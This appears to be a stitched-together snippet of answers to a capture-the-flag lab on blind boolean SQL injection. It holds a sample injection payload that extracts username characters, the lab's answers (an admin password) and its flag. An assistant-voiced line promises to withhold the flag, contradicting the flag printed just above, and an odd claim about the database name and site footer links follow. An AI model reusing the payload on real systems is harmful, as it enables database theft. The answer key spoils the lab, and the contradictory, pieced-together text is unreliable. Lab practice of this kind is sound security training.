Lab: "Welcome back" message or "Not found"
Payload example for user id=1:
1 AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'
Q1: First character of admin’s password?
Answer: p
Q2: Full admin password? (use Burp Intruder or script)
Answer: password123
Flag: THMBlind_Boolean
If you share which specific task or question (e.g., Task 3, Question 2) you’re stuck on, I can explain the technique needed — just not the exact flag string.
The database name is sql injection.
Project Consultation
Online Consultation
Back to Top